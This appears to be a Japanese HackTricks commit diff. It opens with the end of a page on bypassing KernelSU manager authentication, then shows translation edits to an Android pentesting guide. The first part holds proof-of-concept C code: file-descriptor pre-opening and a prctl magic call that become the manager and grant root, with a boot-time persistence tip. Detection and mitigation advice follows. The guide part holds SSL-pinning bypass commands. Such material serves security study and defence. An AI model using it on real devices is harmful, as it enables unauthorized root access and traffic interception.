#include <fcntl.h>
#include <unistd.h>
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
// Reuse stdin (fd 0) if possible so the next open() returns 0
close(0);
int fd = open(legit_apk_path, O_RDONLY);
(void)fd; // fd should now be 0 if available
}
```
マネージャー認証をprctlフックを介して:
```c
#include <sys/prctl.h>
#include <stdint.h>
#define KSU_MAGIC 0xDEADBEEF
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
unsigned long arg3, unsigned long arg4) {
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
}
int become_manager(const char *my_data_dir) {
long result = -1;
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
return (int)result;
}
```
成功後、特権コマンド(例):
- CMD_GRANT_ROOT: 現在のプロセスをrootに昇格
- CMD_ALLOW_SU: 永続的なsuのためにあなたのパッケージ/UIDを許可リストに追加
- CMD_SET_SEPOLICY: フレームワークがサポートするSELinuxポリシーを調整
レース/持続性のヒント:
- AndroidManifestにBOOT_COMPLETEDレシーバーを登録RECEIVE_BOOT_COMPLETEDして、再起動後に早期に開始し、実際のマネージャーの前に認証を試みる。
---
## 検出と緩和のガイダンス
フレームワーク開発者向け:
- 認証を呼び出し元のパッケージ/UIDにバインドし、任意のFDにバインドしない
- UIDから呼び出し元のパッケージを解決し、FDをスキャンするのではなく、インストールされたパッケージの署名PackageManager経由と照合する。
- カーネル専用の場合、安定した呼び出し元のアイデンティティタスククレデンシャルを使用し、プロセスFDではなく、init/userspaceヘルパーによって管理される安定した真実のソースで検証する。
- アイデンティティとしてパスプレフィックスチェックを避ける;それは呼び出し元によって簡単に満たされる。
- チャレンジレスポンスにnonceベースを使用し、ブート時または重要なイベント時にキャッシュされたマネージャーのアイデンティティをクリアする。
- 可能な場合、一般的なシステムコールをオーバーロードするのではなく、バインダーに基づく認証IPCを検討する。
防御者/ブルーチーム向け:
- ルート化フレームワークとマネージャープロセスの存在を検出するカーネルテレメトリがある場合、疑わしいマジック定数0xDEADBEEFを持つprctl呼び出しを監視する。
- 管理されたフリートでは、ブート後に特権マネージャーコマンドを迅速に試みる信頼できないパッケージからのブートレシーバーをブロックまたは警告する。
- デバイスがパッチされたフレームワークバージョンに更新されていることを確認する更新時にキャッシュされたマネージャーIDを無効にする。
攻撃の制限:
- すでに脆弱なフレームワークでルート化されたデバイスにのみ影響する。
- 通常、正当なマネージャーが認証される前に再起動/レースウィンドウが必要いくつかのフレームワークはマネージャーUIDをリセットまでキャッシュする
---
## フレームワーク間の関連ノート
- パスワードベースの認証歴史的なAPatch/SKRootビルドは、パスワードが推測可能/ブルートフォース可能であるか、検証がバグを含む場合に弱くなる可能性がある。
- パッケージ/署名ベースの認証KernelSUは原則的には強力だが、FDスキャンのような間接的なアーティファクトではなく、実際の呼び出し元にバインドする必要がある。
- Magisk: CVE-2024-48336MagiskEoPは、成熟したエコシステムであっても、マネージャーコンテキスト内でのコード実行につながるアイデンティティの偽装に対して脆弱であることを示した。
---
## 参考文献
- [Zimperium The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
- [KernelSU v0.5.7 core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
- [KernelSU v0.5.7 manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43)
- [KernelSU apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319)
- [KernelSU project](https://kernelsu.org/)
- [APatch](https://github.com/bmax121/APatch)
- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
- [MagiskEoP CVE-2024-48336](https://github.com/canyie/MagiskEoP)
- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Android Applications Basics ## Android Applications Basics
このページを読むことを強くお勧めします。**Androidセキュリティに関連する最も重要な部分と、Androidアプリケーションの最も危険なコンポーネント**について知るためです: このページを読むことを強くお勧めします。**Androidセキュリティに関連する最も重要な部分と、Androidアプリケーションの最も危険なコンポーネント**について知るためです:
{{#ref}} {{#ref}}
android-applications-basics.md android-applications-basics.md
@ -15,12 +15,12 @@ android-applications-basics.md
これは、Androidデバイスエミュレートされたものまたは物理的なものに接続するために必要な主なツールです。\ これは、Androidデバイスエミュレートされたものまたは物理的なものに接続するために必要な主なツールです。\
**ADB**は、コンピュータから**USB**または**ネットワーク**経由でデバイスを制御することを可能にします。このユーティリティは、**ファイルのコピー**、**アプリのインストール**と**アンインストール**、**シェルコマンドの実行**、**データのバックアップ**、**ログの読み取り**など、さまざまな機能を提供します。 **ADB**は、コンピュータから**USB**または**ネットワーク**経由でデバイスを制御することを可能にします。このユーティリティは、**ファイルのコピー**、**アプリのインストール**と**アンインストール**、**シェルコマンドの実行**、**データのバックアップ**、**ログの読み取り**など、さまざまな機能を提供します。
adbの使い方を学ぶために、以下の[**ADB Commands**](adb-commands.md)のリストを確認してください。 以下の[**ADB Commands**](adb-commands.md)のリストを確認して、adbの使い方を学んでください。
## Smali ## Smali
時には、**隠された情報**(おそらくよく難読化されたパスワードやフラグ)にアクセスするために、**アプリケーションコードを修正する**ことが興味深い場合があります。そのため、apkをコンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。\ 時には、**隠された情報**(おそらくよく難読化されたパスワードやフラグ)にアクセスするために、**アプリケーションコードを修正する**ことが興味深い場合があります。そのため、apkをコンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。\
[**このチュートリアルでは、APKをコンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中に提示されるいくつかのテストの代替手段として非常に役立つ**可能性があります。したがって、**この可能性を常に念頭に置いておいてください**。 [**このチュートリアルでは、APKをコンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中に提示されるいくつかのテストの代替手段**として非常に役立つ可能性があります。したがって、**この可能性を常に念頭に置いておいてください**。
## Other interesting tricks ## Other interesting tricks
@ -54,6 +54,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
../ios-pentesting/air-keyboard-remote-input-injection.md ../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}} {{#endref}}
{{#ref}}
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
## 静的分析 ## 静的分析
まず、APKを分析するためには、**デコンパイラを使用してJavaコードを確認する必要があります**。\ まず、APKを分析するためには、**デコンパイラを使用してJavaコードを確認する必要があります**。\
@ -61,11 +65,11 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### 興味深い情報の探索 ### 興味深い情報の探索
APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**などの興味深い情報を検索できます... コード実行の**バックドア**や認証バックドア(アプリへのハードコーディングされた管理者資格情報)も探してください。 APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**など、興味深いものを探すことができます... コード実行の**バックドア**や認証バックドア(アプリにハードコーディングされた管理者資格情報)も探してください。
**Firebase** **Firebase**
**FirebaseのURL**に特に注意を払い、適切に設定されているか確認してください。[Firebaseとは何か、どのように悪用するかについての詳細情報はこちら。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) **FirebaseのURL**に特に注意を払い、設定が不適切でないか確認してください。[Firebaseについての詳細情報とその悪用方法については、こちらをご覧ください。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### アプリケーションの基本理解 - Manifest.xml, strings.xml ### アプリケーションの基本理解 - Manifest.xml, strings.xml
@ -74,14 +78,14 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht
**Manifest.xml**から特定された**脆弱性**には以下が含まれます: **Manifest.xml**から特定された**脆弱性**には以下が含まれます:
- **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション`debuggable="true"`)は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、チュートリアルを参照してください。 - **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション`debuggable="true"`)は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、チュートリアルを参照してください。
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定する必要があります。これにより、特にUSBデバッグが有効な場合に、adbを介した不正なデータバックアップを防ます。 - **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定する必要があります。これにより、特にUSBデバッグが有効な場合に、adbを介した不正なデータバックアップを防ぐことができます。
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ設定`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可することが一例です。 - **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可する例があります。
- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになります。 - **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになります。
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、データへの不正アクセスや変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。 - **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正アクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特に入力脆弱性に対するURLスキームの管理方法に注意を払う必要があります。 - **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特に入力脆弱性に対するURLスキームの管理方法に注意を払う必要があります。
- **SDKバージョン**: `minSdkVersion``targetSDKVersion``maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。 - **SDKバージョン**: `minSdkVersion``targetSDKVersion``maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。
**strings.xml**ファイルからは、APIキー、カスタムスキーマ、その他の開発者ートなどの機密情報が発見される可能性があり、これらのリソースの注意深いレビューが必要です。 **strings.xml**ファイルからは、APIキー、カスタムスキーマ、その他の開発者ートなどの機密情報が発見される可能性があり、これらのリソースを注意深く確認する必要があります。
### タップジャッキング ### タップジャッキング
@ -96,7 +100,7 @@ tapjacking.md
### タスクハイジャック ### タスクハイジャック
**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(ユーザーは**悪意のあるアプリケーションを使用していると思い込んでいる**)。 **`launchMode`**が**`singleTask`**に設定され、**`taskAffinity`**が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**実際のアプリケーションを使用していると思いながら、悪意のあるアプリケーションと対話している**)。
詳細情報は以下を参照してください: 詳細情報は以下を参照してください:
@ -108,10 +112,10 @@ android-task-hijacking.md
**内部ストレージ** **内部ストレージ**
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。 Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリケーションのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。
1. **静的分析:** 1. **静的分析:**
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**をファイルに対して**露出させる可能性があります**。 - `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
2. **動的分析:** 2. **動的分析:**
- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているか**を**チェック**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。 - アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているか**を**チェック**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
@ -125,11 +129,11 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
- アクセスの容易さを考慮すると、**機密情報を外部ストレージに保存しないことが推奨されます**。 - アクセスの容易さを考慮すると、**機密情報を外部ストレージに保存しないことが推奨されます**。
- 外部ストレージは取り外し可能であり、任意のアプリケーションによってアクセスされる可能性があるため、セキュリティが低下します。 - 外部ストレージは取り外し可能であり、任意のアプリケーションによってアクセスされる可能性があるため、セキュリティが低下します。
3. **外部ストレージからのデータ処理**: 3. **外部ストレージからのデータ処理**:
- 外部ストレージから取得したデータに対しては常に**入力検証を行う**ことが重要です。これは、データが信頼できないソースからのものであるためです。 - 外部ストレージから取得したデータに対しては常に**入力検証を行う**必要があります。これは、データが信頼できないソースからのものであるため、重要です。
- 外部ストレージに実行可能ファイルやクラスファイルを保存して動的に読み込むことは強く推奨されません。 - 外部ストレージに実行可能ファイルやクラスファイルを保存して動的に読み込むことは強く推奨されません。
- アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認**してから動的に読み込むことが重要です。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。 - アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認**してから動的に読み込む必要があります。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。
外部ストレージは`/storage/emulated/0``/sdcard``/mnt/sdcard`で**アクセス可能**です。 外部ストレージは`/storage/emulated/0``/sdcard``/mnt/sdcard`で**アクセス可能**です。
> [!TIP] > [!TIP]
> Android 4.4**API 17**以降、SDカードには、**アプリ専用のディレクトリへのアクセスを制限するディレクトリ構造**があります。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることが防止されます。 > Android 4.4**API 17**以降、SDカードには、**アプリ専用のディレクトリへのアクセスを制限するディレクトリ構造**があります。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることが防止されます。
@ -139,11 +143,11 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
- **共有設定**: Androidは各アプリケーションが`/data/data/<packagename>/shared_prefs/`パスにXMLファイルを簡単に保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。 - **共有設定**: Androidは各アプリケーションが`/data/data/<packagename>/shared_prefs/`パスにXMLファイルを簡単に保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
- **データベース**: Androidは各アプリケーションが`/data/data/<packagename>/databases/`パスにSQLiteデータベースを簡単に保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。 - **データベース**: Androidは各アプリケーションが`/data/data/<packagename>/databases/`パスにSQLiteデータベースを簡単に保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
### TLSの破損 ### 壊れたTLS
**すべての証明書を受け入れる** **すべての証明書を受け入れる**
何らかの理由で、開発者はホスト名がコードの行と一致しない場合でも、すべての証明書を受け入れることがあります。 何らかの理由で、開発者がホスト名が一致しない場合でも、すべての証明書を受け入れることがあります。例えば、以下のようなコード行がある場合です:
```java ```java
SSLSocketFactory sf = new cc(trustStore); SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -275,15 +279,15 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging** **Logging**
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`が推奨されます。**Pidcat**は使いやすさと可読性のために好まれます。 開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。
> [!WARNING] > [!WARNING]
> **Android 4.0以降**、**アプリケーションは自分自身のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\ > **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
> それでも、**機密情報をログに記録しない**ことが推奨されます。 > それでも、**機密情報をログに記録しない**ことを推奨します。
**Copy/Paste Buffer Caching** **Copy/Paste Buffer Caching**
Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが露出するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションでは**コピー/ペースト**機能を無効にすることが重要です。 Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが露出するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションに対して**コピー/ペースト**機能を無効にすることが重要です。
**Crash Logs** **Crash Logs**
@ -293,7 +297,7 @@ Androidの**クリップボードベース**のフレームワークは、アプ
**Analytics Data Sent To 3rd Parties** **Analytics Data Sent To 3rd Parties**
アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することが推奨されます。 アプリケーションは、Google Adsenseのようなサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。
### SQLite DBs ### SQLite DBs
@ -302,7 +306,7 @@ Androidの**クリップボードベース**のフレームワークは、アプ
データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。 データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`実行してテーブルのカラムを列挙します。 `.tables`を使用してテーブルを列挙し、`.schema <table_name>`使用してテーブルのカラムを列挙します。
### Drozer (Exploit Activities, Content Providers and Services) ### Drozer (Exploit Activities, Content Providers and Services)
@ -327,7 +331,7 @@ You can also start an exported activity from adb:
```bash ```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity adb shell am start -n com.example.demo/com.example.test.MainActivity
``` ```
**注意**: MobSFは、アクティビティの`android:launchMode`として_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険なようです **注意**: MobSFは、アクティビティの`android:launchMode`として_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン<21でのみ危険なようです
> [!TIP] > [!TIP]
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。 > 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。
@ -360,12 +364,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
[**ブロードキャストレシーバーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\ [**ブロードキャストレシーバーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\
ブロードキャストレシーバーのアクションは`onReceive`メソッドで始まることを覚えておいてください。 ブロードキャストレシーバーのアクションは`onReceive`メソッドで始まることを覚えておいてください。
ブロードキャストレシーバーは特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\ ブロードキャストレシーバーは特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\
[**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](#exploiting-broadcast-receivers) [**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](#exploiting-broadcast-receivers)
### **スキーム / ディープリンクの悪用** ### **スキーム/ディープリンクの悪用**
MobSFや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)のようなツールを使用して、手動でディープリンクを探すことができます。\ 手動でディープリンクを探すことができ、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)を使用できます。\
**adb**や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます: **adb**や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます:
```bash ```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
@ -394,11 +398,11 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
**さらなる例** **さらなる例**
リンクに関する[興味深いバグバウンティレポート](https://hackerone.com/reports/855618)_/.well-known/assetlinks.json_ リンクに関する[興味深いバグバウンティレポート](https://hackerone.com/reports/855618) (_/.well-known/assetlinks.json_)
### トランスポート層の検査と検証の失敗 ### トランスポート層の検査と検証の失敗
- **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーションは警告を見落とし、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすること一般的です。 - **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーションが警告を無視し、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすること一般的です。
- **SSL/TLSハンドシェイク中の交渉は時々弱く**、安全でない暗号スイートを使用しています。この脆弱性により、接続が中間者攻撃MITMに対して脆弱になり、攻撃者がデータを復号化できるようになります。 - **SSL/TLSハンドシェイク中の交渉は時々弱く**、安全でない暗号スイートを使用しています。この脆弱性により、接続が中間者攻撃MITMに対して脆弱になり、攻撃者がデータを復号化できるようになります。
- **プライベート情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証するが、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。 - **プライベート情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証するが、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。
@ -414,7 +418,7 @@ SSLピンニングは、アプリケーションがサーバーの証明書を
HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**Burp。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。 HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**Burp。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
**APIレベル24以上**をターゲットにしたアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示は、[**このチュートリアル**](make-apk-accept-ca-certificate.md)を参照してください。 **APIレベル24以上**をターゲットにしたアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成を変更する手順については、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください。
**Flutter**が使用されている場合は、[**このページ**](flutter.md)の指示に従う必要があります。これは、証明書をストアに追加するだけでは機能せず、Flutterには独自の有効なCAのリストがあるためです。 **Flutter**が使用されている場合は、[**このページ**](flutter.md)の指示に従う必要があります。これは、証明書をストアに追加するだけでは機能せず、Flutterには独自の有効なCAのリストがあるためです。
@ -422,15 +426,15 @@ HTTPトラフィックを検査するには、**プロキシツールの証明
SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります
- 自動的に**apkを修正**してSSLピンニングを**バイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。 - **apkを自動的に修正**してSSLピンニングを**バイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにルートが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
- **Frida**を使用してこの保護をバイパスすることもできます。Burp+Frida+Genymotionを使用するためのガイドはこちらです[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **objection**を使用してSSLピンニングを**自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - **objection**を使用してSSLピンニングを**自動的にバイパス**することもできます(以下で説明)`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF動的分析**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます(下で説明)。 - **MobSF動的分析**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます(下で説明)。
- まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをBurpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) - まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 一般的なWeb脆弱性の検索 #### 一般的なWeb脆弱性の検索
